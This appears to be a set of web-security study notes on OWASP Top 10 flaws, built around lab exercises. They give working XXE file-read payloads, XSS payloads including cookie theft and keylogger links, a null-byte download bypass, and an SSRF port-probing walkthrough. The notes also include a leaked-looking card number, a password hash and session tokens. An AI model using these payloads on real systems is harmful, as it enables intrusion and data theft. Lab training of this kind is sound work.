`0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99`

We have the custID (0), the custName (Joy Paulson), the creditCard (4916 9012 2231 7905) and a password hash (5f4dcc3b5aa765d61d8327deb882cf99).


# XML External Entity

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpouDs3C-9TMTuqJuM%2F-MLpq3JVLXHREi4VGGVh%2Fimage.png?alt=media\&token=2b88542b-6e53-4f62-a101-65c1b7a42189)

An **XML External Entity** (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform **Server-Side Request Forgery** (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.\
\
There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).\
1\) An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.

2\) out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.

## XXE Payload

1\) The first payload we'll see is very simple.

`<!DOCTYPE replace [<!ENTITY name "feast"> ]>`\
&#x20;`<userInfo>`\
&#x20; `<firstName>falcon</firstName>`\
&#x20; `<lastName>&name;</lastName>`\
&#x20;`</userInfo>`

As we can see we are defining a `ENTITY` called `name` and assigning it a value `feast`. Later we are using that ENTITY in our code.

2\) We can also use XXE to read some file from the system by defining an ENTITY and having it use the SYSTEM keyword\
\
`<?xml version="1.0"?>`\
`<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>`\
`<root>&read;</root>`\
\
Here again, we are defining an ENTITY with the name `read` but the difference is that we are setting it value to \`SYSTEM\` and path of the file.\
\
If we use this payload then a website vulnerable to XXE(normally) would display the content of the file `/etc/passwd`.

In a similar manner, we can use this kind of payload to read other files but a lot of times you can fail to read files in this manner or the reason for failure could be the file you are trying to read.

## Exploitation

1\) Let's see how the website would look if we'll try to use the payload for displaying the name.

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpswsXbRDUp3dUDB4X%2F-MLptHTvuNRuL-YMt6Er%2Fimage.png?alt=media\&token=4b270c2f-a42b-4be8-9653-0e9fcac04f43)

On the left side, we can see the burp request that was sent with the URL encoded payload and on the right side we can see that the payload was able to successfully display name `falcon feast`

2\) Now let's try to read the `/etc/passwd`

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpswsXbRDUp3dUDB4X%2F-MLptUXZNid1q3zD_dgy%2Fimage.png?alt=media\&token=e080ecdb-c88a-47e9-91d6-923953913af2)


# XML Background

## eXtensible Markup Language

### What is XML?

XML (eXtensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. It is a markup language used for storing and transporting data.&#x20;

### Why we use XML?

1\. XML is platform-independent and programming language independent, thus it can be used on any system and supports the technology change when that happens.\
\
2\. The data stored and transported using XML can be changed at any point in time without affecting the data presentation.\
\
3\. XML allows validation using DTD and Schema. This validation ensures that the XML document is free from any syntax error.\
\
4\. XML simplifies data sharing between various systems because of its platform-independent nature. XML data doesn’t require any conversion when transferred between different systems.

### Syntax

Every XML document mostly starts with what is known as XML Prolog.\
\
`<?xml version="1.0" encoding="UTF-8"?>`

Above the line is called XML prolog and it specifies the XML version and the encoding used in the XML document. This line is not compulsory to use but it is considered a \`good practice\` to put that line in all your XML documents.\
\
Every XML document must contain a \`ROOT\` element. For example:

`<?xml version="1.0" encoding="UTF-8"?>`\
`<mail>`\
&#x20;  `<to>falcon</to>`\
&#x20;  `<from>feast</from>`\
&#x20;  `<subject>About XXE</subject>`\
&#x20;  `<text>Teach about XXE</text>`\
`</mail>`<br>

In the above example the `<mail>` is the ROOT element of that document and `<to>`, `<from>`, `<subject>`, `<text>` are the children elements. If the XML document doesn't have any root element then it would be considered`wrong` or `invalid` XML doc.\
\
Another thing to remember is that XML is a case sensitive language. If a tag starts like `<to>` then it has to end by `</to>` and not by something like `</To>`(notice the capitalization of `T`)\
\
Like HTML we can use attributes in XML too. The syntax for having attributes is also very similar to HTML. For example:\
`<text category = "message">You need to learn about XXE</text>`

In the above example `category` is the attribute name and `message` is the attribute value.

## Document Type Definition (DTD)

Before we move on to start learning about XXE we'll have to understand what is DTD in XML.

DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document.

Let us try to understand this with the help of an example. Say we have a file named `note.dtd` with the following content:<br>

`<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>`\
Now we can use this DTD to validate the information of some XML document and make sure that the XML file conforms to the rules of that DTD.

Ex: Below is given an XML document that uses `note.dtd`\<?xml version="1.0" encoding="UTF-8"?>\
\<!DOCTYPE note SYSTEM "note.dtd">\
\<note>\
&#x20;   \<to>falcon\</to>\
&#x20;   \<from>feast\</from>\
&#x20;   \<heading>hacking\</heading>\
&#x20;   \<body>XXE attack\</body>\
\</note>

So now let's understand how that DTD validates the XML. Here's what all those terms used in `note.dtd` mean<br>

* !DOCTYPE note -  Defines a root element of the document named note
* !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
* !ELEMENT to - Defines the `to` element to be of type "#PCDATA"
* !ELEMENT from - Defines the `from` element to be of type "#PCDATA"
* !ELEMENT heading  - Defines the `heading` element to be of type "#PCDATA"
* !ELEMENT body - Defines the body `element` to be of type "#PCDATA"

&#x20;   NOTE: #PCDATA means parseable character data.

* How do you define a new ELEMENT?
  * !ELEMENT
* How do you define a ROOT element?
  * !DOCTYPE
* How do you define a new ENTITY?
  * !ENTITY


# XPath Injection

{% embed url="<https://medium.com/@shatabda/security-xpath-injection-what-how-3162a0d4033b>" %}


# Broken Access Control

Websites have pages that are protected from regular visitors, for example only the site's admin user should be able to access a page to manage other users. If a website visitor is able to access the protected page/pages that they are not authorised to view, the access controls are broken.\
A regular visitor being able to access protected pages, can lead to the following:

* Being able to view sensitive information
* Accessing unauthorized functionality

OWASP have a listed a few attack scenarios demonstrating access control weaknesses:\
\
**Scenario #1**: The application uses unverified data in a SQL call that is accessing account information:

* pstmt.setString(1, request.getParameter("acct"));
* ResultSet results = pstmt.executeQuery( );

An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account.

* <http://example.com/app/accountInfo?acct=notmyacct>

**Scenario #2**: An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.

* <http://example.com/app/getappInfo>
* <http://example.com/app/admin\\_getappInfo>

If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw ([reference to scenarios](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control)).

To put simply, broken access control allows attackers to bypass authorization which can allow them to view sensitive data or perform tasks as if they were a privileged user.

### Insecure Direct Object Reference (IDOR)

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLpu1D06hdV2Bn83TYB%2F-MLpukRpn2A0jl96By4S%2Fimage.png?alt=media\&token=87a79f63-3cb0-4c4e-b5ba-98271c624efc)

IDOR, or Insecure Direct Object Reference, is the act of exploiting a misconfiguration in the way user input is handled, to access resources you wouldn't ordinarily be able to access. IDOR is a type of access control vulnerability.

For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this <https://example.com/bank?account_number=1234>. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.

There is however a potentially huge problem here, a hacker may be able to change the account\_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information.


# Security Misconfiguration

Security Misconfigurations are distinct from the other Top 10 vulnerabilities, because they occur when security could have been configured properly but was not.

Security misconfigurations include:

* Poorly configured permissions on cloud services, like S3 buckets
* Having unnecessary features enabled, like services, pages, accounts or privileges
* Default accounts with unchanged passwords
* Error messages that are overly detailed and allow an attacker to find out more about the system
* Not using [HTTP security headers](https://owasp.org/www-project-secure-headers/), or revealing too much detail in the Server: HTTP header

This vulnerability can often lead to more vulnerabilities, such as default credentials giving you access to sensitive data, XXE or command injection on admin pages.

For more info, I recommend having a look at the [OWASP top 10 entry for Security Misconfiguration](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration)

### Default Passwords

Specifically, this VM focuses on default passwords. These are a specific example of a security misconfiguration. You could, and should, change any default passwords but people often don't.

It's particularly common in embedded and Internet of Things devices, and much of the time the owners don't change these passwords.

It's easy to imagine the risk of default credentials from an attacker's point of view. Being able to gain access to admin dashboards, services designed for system administrators or manufacturers, or even network infrastructure could be incredibly useful in attacking a business. From data exposure to easy RCE, the effects of default credentials can be severe.

In October 2016, Dyn (a DNS provider) was taken offline by one of the most memorable DDoS attacks of the past 10 years. The flood of traffic came mostly from Internet of Things and networking devices like routers and modems, infected by the Mirai malware.

How did the malware take over the systems? Default passwords. The malware had a list of 63 username/password pairs, and attempted to log in to exposed telnet services.

The DDoS attack was notable because it took many large websites and services offline. Amazon, Twitter, Netflix, GitHub, Xbox Live, PlayStation Network, and many more services went offline for several hours in 3 waves of DDoS attacks on Dyn.


# Upload/Download

{% embed url="<https://book.hacktricks.xyz/pentesting-web/file-upload>" %}


# Download Bypass: Poison Null Byte

Error: Only .md and .pdf files are allowed!

If you cannot download files of a certain type, try a character bypass called "Poison Null Byte". A Poison Null Byte looks like this: %00.  The Poison Null Byte will now look like this: %2500. Adding this and then a **.md** to the end will bypass the 403 error!

e.g. \<url>/ftp/package.json.bak%2500.md


# XSS

## XSS Explained

Cross-site scripting, also known as XSS is a security vulnerability typically found in web applications. It’s a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.\
A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. There are three main types of cross-site scripting:

1. Stored/Persistent XSS - the most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitised (remove the "bad parts" of a users input) when inserted into the database.
2. Reflected XSS - the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.
3. DOM-Based XSS - DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be either displayed in the browser window or as the HTML source.

XSS Payloads

Remember, cross-site scripting is a vulnerability that can be exploited to execute malicious Javascript on a victim’s machine. Check out some common payloads types used:

* Popup's (\<script>alert(“Hello World”)\</script>) - Creates a Hello World message popup on a users browser.
* Writing HTML (document.write) - Override the website's HTML to add your own (essentially defacing the entire page).
* XSS Keylogger (<http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html>) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.
* Port scanning (<http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html>) - A mini local port scanner (more information on this is covered in the TryHackMe XSS room).

XSS-Payloads.com is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.

{% embed url="<http://www.xss-payloads.com>" %}

```
IP address:
<script>alert(window.location.hostname)</script>

Cookies:
<script>alert(document.cookie)</script>

Change elements on the page:
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
```

{% embed url="<https://owasp.org/www-community/xss-filter-evasion-cheatsheet>" %}
GOLD
{% endembed %}


# DOMXSS

DOM XSS (Document Object Model-based Cross-site Scripting) uses the HTML environment to execute malicious javascript. This type of attack commonly uses the  HTML tag, like \<img> or \<iframe>.

This type of XSS is also called XFS (Cross-Frame Scripting), is one of the most common forms of detecting XSS within web applications.

Websites that allow the user to modify the iframe or other DOM elements will most likely be vulnerable to XSS.

**Why does this work?**

It is common practice that the search bar will send a request to the server in which it will then send back the related information, but this is where the flaw lies. Without correct input sanitation, we are able to perform an XSS attack against the search bar. <br>

{% embed url="<https://github.com/wisec/domxsswiki/wiki>" %}


# Persistent XSS

Persistent XSS is javascript that is run when the server loads the page containing it. These can occur when the server does not sanitise the user data when it is **uploaded** to a page. These are commonly found on blog posts.

### OWASP Juice Shop Example

First, login to the **admin** account.

We are going to navigate to the "**Last Login IP**" page for this attack.\
\
It should say the last IP Address is 0.0.0.0 or 10.x.x.x&#x20;

As it logs the 'last' login IP we will now logout so that it logs the 'new' IP.

Make sure that Burp **intercept is on**, so it will catch the logout request.

We will then head over to the Headers tab where we will add a new header:

| True-Client-IP | \<iframe src="javascript:alert(\`xss\`)"> |
| -------------- | ----------------------------------------- |

Then forward the request to the server! When **signing back into the admin account** and navigating to the Last Login IP page again, we will see the XSS alert!

**Why do we have to send this Header?**

The True-Client-IP  header is similar to the X-Forwarded-For header, both tell the server or proxy what the IP of the client is. Due to there being no sanitation in the header we are able to perform an XSS attack.&#x20;


# Reflected (Client-side) XSS

Reflected XSS is javascript that is run on the client-side end of the web application. These are most commonly found when the server doesn't sanitise search data.&#x20;

### OWASP Juice Shop Example

First, we are going to need to be on the right page to perform the reflected XSS!

**Login** into the **admin account** and navigate to the 'Order History' page.&#x20;

From there you will see a "Truck" icon, clicking on that will bring you to the track result page. You will also see that there is an id paired with the order.&#x20;

We will use the iframe XSS, \<iframe src="javascript:alert(\`xss\`)">, in the place of the 5267-f73dcd000abcc353

```
GET /rest/track-order/5267-a0c4318b0758f61a HTTP/1.1
-->
GET /rest/track-order/%3Ciframe%20src%3D%22javascript%3Aalert%28%60xss%60%29%22%3E HTTP/1.1
Host: 10.10.123.245
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiI8aWZyYW1lIHNyYz1cImphdmFzY3JpcHQ6YWxlcnQoYHhzc2ApXCI-IiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMC0xMS0xMCAyMzowMzowMy4xNjggKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMC0xMS0xMSAwMDowMjowNi4xMTMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjA1MDUzMjE2LCJleHAiOjE2MDUwNzEyMTZ9.LNcydzLSz0v86L4mppA3OHjKDfsFelxcQf9VE8aXR4hyy0qEd3oSvma5Vd8nz4m-TdGpmwDVUNi8055kLnzIXjNQVfvSoW-kBNyqbd-GaDmLs_borFXSNAVeM9RgS9qUFKLphg2p8TS5tBjYcULrmxf4CKN5TSjbEaOmvGU1uZU
DNT: 1
Connection: close
Referer: http://10.10.123.245/
Cookie: io=FuqCIA_A6jUC76b0AAAU; language=en; cookieconsent_status=dismiss; continueCode=6jgQrYzM3ebXAPJtvUZHNT7F3HjuMIniQS55h4xS94sDyULRGNKBwlak1qWO; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiI8aWZyYW1lIHNyYz1cImphdmFzY3JpcHQ6YWxlcnQoYHhzc2ApXCI-IiwicHJvZmlsZUltYWdlIjoiYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMC0xMS0xMCAyMzowMzowMy4xNjggKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMC0xMS0xMSAwMDowMjowNi4xMTMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjA1MDUzMjE2LCJleHAiOjE2MDUwNzEyMTZ9.LNcydzLSz0v86L4mppA3OHjKDfsFelxcQf9VE8aXR4hyy0qEd3oSvma5Vd8nz4m-TdGpmwDVUNi8055kLnzIXjNQVfvSoW-kBNyqbd-GaDmLs_borFXSNAVeM9RgS9qUFKLphg2p8TS5tBjYcULrmxf4CKN5TSjbEaOmvGU1uZU
If-None-Match: W/"fc-WHskrDfb/e94M0+1Bu+oARMojBk"
Cache-Control: max-age=0
```

After submitting the URL, refresh the page and you will then get an alert saying XSS!

**Why does this work?**

The server will have a lookup table or database (depending on the type of server) for each tracking ID. As the 'id' parameter is not sanitised before it is sent to the server, we are able to perform an XSS attack. &#x20;


# Data URLs

## XSS Attack

[Data URIs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) allow HTML tags to be created with inline content, rather than reaching out to and making an additional request to the server. For example, an inline image might look like:

```
<img src="data:image/png;base64,iVBORw0KGgoAAAA..."/>
```

So, if we want to run JS we can actually inject either of these into a URL:

```
data:text/html,<script>alert('hi');</script>
data:text/javascript,alert(1)
```

## Definition

Data URLs are composed of four parts: a prefix (`data:`), a [MIME type](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) indicating the type of data, an optional `base64` token if non-textual, and the data itself:

```
data:[<mediatype>][;base64],<data>
```

The `mediatype` is a [MIME type](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) string, such as `'image/jpeg'` for a JPEG image file. If omitted, defaults to `text/plain;charset=US-ASCII`

If the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type). Otherwise, you can specify `base64` to embed base64-encoded binary data. You can find more info on MIME types [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) and [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types).

A few examples:

* `data:,Hello%2C%20World!`
  * Simple text/plain data. Note the use of [percent-encoding](https://developer.mozilla.org/en-US/docs/Glossary/percent-encoding) (URL-encoding) for the quote and space characters. Also, for CSV data (MIME type "text/csv"), percent-encoding is needed to preserve the line endings that delimit rows of the spreadsheet.
* `data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==`
  * base64-encoded version of the above
* `data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E`
  * An HTML document with `<h1>Hello, World!</h1>`
* `data:text/html,<script>alert('hi');</script>`
  * An HTML document that executes a JavaScript alert. Note that the closing script tag is required.

{% embed url="<https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2019/april/a-novel-csp-bypass-using-data-uri/>" %}

{% embed url="<https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs>" %}


# Insecure Deserialization

### "Insecure Deserialization is a vulnerability which occurs when untrusted data is used to abuse the logic of an application" (Acunetix., 2017)

This definition is still quite broad to say the least. Simply, insecure deserialization is replacing data processed by an application with malicious code; allowing anything from DoS (Denial of Service) to RCE (Remote Code Execution) that the attacker can use to gain a foothold in a pentesting scenario.

Specifically, this malicious code leverages the legitimate serialization and deserialization process used by web applications. We'll be explaining this process and why it is so commonplace in modern web applications.

OWASP rank this vulnerability as 8 out of 10 because of the following reasons:

\- Low exploitability. This vulnerability is often a case-by-case basis - there is no reliable tool/framework for it. Because of its nature, attackers need to have a good understanding of the inner-workings of the ToE.

\- The exploit is only as dangerous as the attacker's skill permits, more so, the value of the data that is exposed. For example, someone who can only cause a DoS will make the application unavailable. The business impact of this will vary on the infrastructure - some organisations will recover just fine, others, however, will not.

**What's Vulnerable?**

In summary, ultimately, any application that stores or fetches data where there are no validations or integrity checks in place for the data queried or retained. A few examples of applications of this nature are:

\- E-Commerce Sites\
\- Forums\
\- API's\
\- Application Runtimes (Tomcat, Jenkins, Jboss, etc) Deploy

## Objects

A prominent element of object-oriented programming (OOP), objects are made up of two things:

* State
* Behavior

Simply, objects allow you to create similar lines of code without having to do the leg-work of writing the same lines of code again.\
For example, a lamp would be a good object. Lamps can have different types of bulbs, this would be their state, as well as being either on/off - their behavior!

Rather than having to accommodate every type of bulb and whether or not that specific lamp is on or off, you can use methods to simply alter the state and behavior of the lamp.

if a dog was sleeping, would this be: a behavior

## De(Serialization)

A Tourist approaches you in the street asking for directions. They're looking for a local landmark and got lost. Unfortunately, English isn't their strong point and nor do you speak their dialect either. What do you do? You draw a map of the route to the landmark because pictures cross language barriers, they were able to find the landmark. Nice! You've just serialised some information, where the tourist then deserialised it to find the landmark.\
\
**Continued**\
Serialisation is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing or storage.\
Alternatively, deserialisation is the reverse of this; converting serialised information into their complex form - an object that the application will understand.\
\
**What does this mean?**\
Say you have a password of "password123" from a program that needs to be stored in a database on another system. To travel across a network this string/output needs to be converted to binary. Of course, the password needs to be stored as "password123" and not its binary notation. Once this reaches the database, it is converted or deserialised back into "password123" so it can be stored.

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLtZ-3py7hqMiX9mw86%2F-MLt_18AuZ6IM2mE9b68%2Fimage.png?alt=media\&token=73d0124e-c6be-44f0-bc0e-71a3a243ae59)

**How can we leverage this?**\
Simply, insecure deserialization occurs when data from an untrusted party (I.e. a hacker) gets executed because there is no filtering or input validation; the system assumes that the data is trustworthy and will execute it no holds barred.

## Cookies

Cookies are an essential tool for modern websites to function. Tiny pieces of data, these are created by a website and stored on the user's computer.

Websites use these cookies to store user-specific behaviors like items in their shopping cart or session IDs.

![Bad Form](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLtZ-3py7hqMiX9mw86%2F-MLt_K1YKT6Vq-eJ1mjD%2Fimage.png?alt=media\&token=48bba19c-0ee7-4d2a-930a-fb70c27010da)

Whilst plaintext credentials is a vulnerability in itself, it is not insecure deserialization as we have not sent any serialized data to be executed!

Cookies are not permanent storage solutions like databases. Some cookies such as session ID's will clear when the browser is closed, others, however, last considerably longer. This is determined by the "Expiry" timer that is set when the cookie is created.

Some cookies have additional attributes, a small list of these are below:

| Attribute    | Description                                                             | Required?     |
| ------------ | ----------------------------------------------------------------------- | ------------- |
| Cookie Name  | The Name of the Cookie to be set                                        | Yes           |
| Cookie Value | Value, this can be anything plaintext or encoded                        | Yes           |
| Secure Only  | If set, this cookie will only be set over HTTPS connections             | <p>No<br></p> |
| Expiry       | Set a timestamp where the cookie will be removed from the browser       | <p>No<br></p> |
| Path         | The cookie will only be sent if the specified URL is within the request | No            |

**Creating Cookies**

Cookies can be set in various website programming languages. For example, Javascript, PHP or Python to name a few. The following web application is developed using Python's Flask, so it is fitting to use it as an example.

```
dateTime = datetime.now()
timestamp = str(dateTime)
resp.set_cookie("registrationTimestamp", timestamp)
```

Setting cookies in Flask is rather trivial. Simply, this snippet gets the current date and time, stores it within the variable "timestamp" and then stores the date and time in a cookie named "registrationTimestamp".

This is what it will look like in the browser.

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MLt_sGFvVHTx2FJR-yj%2F-MLtaHLNz229yRqo-eXE%2Fimage.png?alt=media\&token=6a6260f0-31cf-4dbf-a6af-b32587733659)

* If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?
  * webapp.com/login
* What is the acronym for the web technology that Secure cookies work over?
  * HTTPS

### Cookies Practical


# Components with Known Vulnerabilities

Occasionally, you may find that the company/entity that you're pen-testing is using a program that already has a well documented vulnerability.

For example, let's say that a company hasn't updated their version of WordPress for a few years, and using a tool such as wpscan, you find that it's version 4.6. Some quick research will reveal that WordPress 4.6 is vulnerable to an unauthenticated remote code execution(RCE) exploit, and even better you can find an exploit already made on [exploit-db](https://www.exploit-db.com/exploits/41962).

As you can see this would be quite devastating, because it requires very little work on the part of the attacker as often times since the vulnerability is already well known, someone else has made an exploit for the vulnerability. The situation becomes even worse when you realize, that it's really quite easy for this to happen, if a company misses a single update for a program they use, they could be vulnerable to any number of attacks.

Hence, why OWASP has rated this a 3(meaning high) on the prevalence scale, it is incredibly easy for a company to miss an update for an application.


# Insufficient Logging and Monitoring

When web applications are set up, every action performed by the user should be logged. Logging is important because in the event of an incident, the attackers actions can be traced. Once their actions are traced, their risk and impact can be determined. Without logging, there would be no way to tell what actions an attacker performed if they gain access to particular web applications. The bigger impacts of these include:

* regulatory damage: if an attacker has gained access to personally identifiable user information and there is no record of this, not only are users of the application affected, but the application owners may be subject to fines or more severe actions depending on regulations.
* risk of further attacks: without logging, the presence of an attacker may be undetected. This could allow an attacker to launch further attacks against web application owners by stealing credentials, attacking infrastructure and more.

The information stored in logs should include:

* HTTP status codes
* Time Stamps
* Usernames
* API endpoints/page locations
* IP addresses

These logs do have some sensitive information on them so its important to ensure that logs are stored securely and multiple copies of these logs are stored at different locations.

As you may have noticed, logging is more important after a breach or incident has occurred. The ideal is case is having monitoring in place to detect any suspicious activity. The aim of detecting this suspicious activity is to either stop the attacker completely or reduce the impact they've made if their presence has been detected much later than anticipated. Common examples of suspicious activity includes:

* multiple unauthorised attempts for a particular action (usually authentication attempts or access to unauthorised resources e.g. admin pages)
* requests from anomalous IP addresses or locations: while this can indicate that someone else is trying to access a particular user's account, it can also have a false positive rate.
* use of automated tools: particular automated tooling can be easily identifiable e.g. using the value of User-Agent headers or the speed of requests. This can indicate an attacker is using automated tooling.
* common payloads: in web applications, it's common for attackers to use Cross Site Scripting (XSS) payloads. Detecting the use of these payloads can indicate the presence of someone conducting unauthorised/malicious testing on applications.

Just detecting suspicious activity isn't helpful. This suspicious activity needs to be rated according to the impact level. For example, certain actions will higher impact than others. These higher impact actions need to be responded to sooner thus they should raise an alarm which raises the attention of the relevant party.


# Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a web app vulnerability that allows attackers to force the web application server to make requests to resources it normally wouldn't. For example, a web app may have the functionality to produce screenshots of other websites when a user supplies a URL. This is perfectly valid functionality, however, URLs can also be made for internal IP addresses (e.g. 192.168.1.1, 10.10.10.10, 127.0.0.1 etc.) as well as internal-only hostnames (e.g. localhost, WIN2019SERV.CORP). If a web developer is not careful, an attacker could provide the app with these and manage to screenshot internal resources, which often have less protections.

To counter this, user-provided URLs can be checked before they are requested, to ensure that malicious values are not being used. However, due to the complex nature of URLs themselves, there are often many things an attacker can do to bypass these checks.

Note that while the example of SSRF used in this task is effectively a Remote File Inclusion (RFI) vulnerability as well, not every SSRF is. Some SSRF vulnerabilities only trigger a DNS lookup, while others may not return any kind of response to the web app, but can still be used to "port scan" internal systems by measuring the time each request takes to complete. In other cases, SSRF may be used as a form of Denial of Service (DoS) since the attacker can continually request that the server download large files simultaneously (taking up memory, disk space, and network bandwidth).

* localtest.me is useful.

### Example Walkthrough

1. Connect to the web app: [http://10.10.66.174](http://10.10.66.174/)<br>
2. Enter a name in the form and click the "Search" button. When the page loads, it should tell you whether that name is on the Naughty List or the Nice List. Notice that the URL for the page looks something like this: <http://10.10.66.174/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3DTib3rius>\
   \
   If we use a URL decoder on the value of the "proxy" parameter, we get: <http://list.hohoho:8080/search.php?name=Tib3rius\\>
   \
   Since "list.hohoho" is not a valid hostname on the Internet (.hohoho is not a [top-level domain](https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains)), this hostname likely refers to some back-end machine. It seems that the web app works by taking this URL, making a request at the back-end, and then returning the result to the front-end web app. If the developer has not been careful, we may be able to exploit this functionality using Server-Side Request Forgery (SSRF).<br>
3. The most obvious thing we can try to do first is to fetch the root of the same site. Browse to: <http://10.10.66.174/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2F> \
   \
   This seems to have potential, as in place of the original "Tib3rius is on the Nice List." message, we instead see "Not Found. The requested URL was not found on this server." This seems like a generic 404 message, indicating that we were able to make the server request the modified URL and return the response.\
   \
   There are many things we could do now, such as trying to find valid URLs for the "list.hohoho" site. We could also try changing the port number from 8080 to something else, to see if we can connect to any other services running on the host, even if these services are not web servers.<br>
4. Try changing the port number from 8080 to just 80 (the default HTTP port): <http://10.10.66.174/?proxy=http%3A%2F%2Flist.hohoho%3A80>\
   \
   The message now changes to "Failed to connect to list.hohoho port 80: Connection refused" which suggests that port 80 is not open on list.hohoho.<br>
5. Try changing the port number to 22 (the default SSH port): <http://10.10.66.174/?proxy=http%3A%2F%2Flist.hohoho%3A22>\
   \
